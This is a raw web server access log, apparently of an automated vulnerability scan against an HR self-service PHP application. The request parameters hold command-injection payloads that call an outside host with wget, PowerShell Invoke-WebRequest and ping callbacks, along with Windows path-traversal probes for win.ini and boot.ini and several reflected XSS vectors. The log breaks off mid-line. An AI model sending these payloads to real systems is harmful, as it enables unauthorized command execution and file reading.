/ehr/ess/redirect.php?scriptname=findpasswd+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D248&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D248&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%7C+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D248&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=ping+-c+1+v3-ping-249-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=ping+-c+1+v3-ping-249-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D247&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=ping+-c+1+v3-ping-249-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:04 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>%uff1cscript%uff1ealert%uff08250%uff09%uff1c/script%uff1e HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/>%uff1cscript%uff1ealert%uff08250%uff09%uff1c/script%uff1e HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSab%22onmouseover%3D%22alert%2815%29%22ab HTTP/1.1" 200 6718 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSab%22onmouseover%3D%22alert%2815%29%22ab HTTP/1.1" 200 6718 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../winnt/win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fwin.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:06 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSab\"onmouseover=\"alert(16)\"ab HTTP/1.1" 200 6718 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHSab\"onmouseover=\"alert(16)\"ab HTTP/1.1" 200 6718 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6754 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS\"/> HTTP/1.1" 200 6754 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=C:\\boot.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=C:\\boot.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%2500.html HTTP/1.1" 200 6780 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini%2500.html HTTP/1.1" 200 6780 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D252&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:07 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D252&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D252&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26+ping+-c+1+v3-ping-253-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26+ping+-c+1+v3-ping-253-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%26+ping+-c+1+v3-ping-253-760c2ba4-cacd-4081-91e1-900d04dcbef7.adns.appsechcl.com&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ablcprobepa00000Eab HTTP/1.1" 200 6691 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ablcprobepa00000Eab HTTP/1.1" 200 6691 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3CSTYLE%3E%40import%22javascript%3Aalert%28255%29%22%3B%3C%2FSTYLE%3E HTTP/1.1" 200 6754 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3CSTYLE%3E%40import%22javascript%3Aalert%28255%29%22%3B%3C%2FSTYLE%3E HTTP/1.1" 200 6754 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D254&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:08 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D254&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/includes/ESN0000_1_DB.php HTTP/1.1" 200 13 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/includes/ESN0000_1_DB.php HTTP/1.1" 200 13 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D254&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=/../../../../../../../../../../../../windows/win.ini%00.html&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\winnt\\win.ini%2500.html HTTP/1.1" 200 6785 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\winnt\\win.ini%2500.html HTTP/1.1" 200 6785 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:09 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ab%22onmouseover%3D%22alert%2817%29%22ab HTTP/1.1" 200 6715 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ab%22onmouseover%3D%22alert%2817%29%22ab HTTP/1.1" 200 6715 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Djavascript%3Aalert%28256%29+ HTTP/1.1" 200 6720 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%22%2F%3E%3Cimg+src%3Djavascript%3Aalert%28256%29+ HTTP/1.1" 200 6720 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:53:10 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:53:11 +0800] "GET 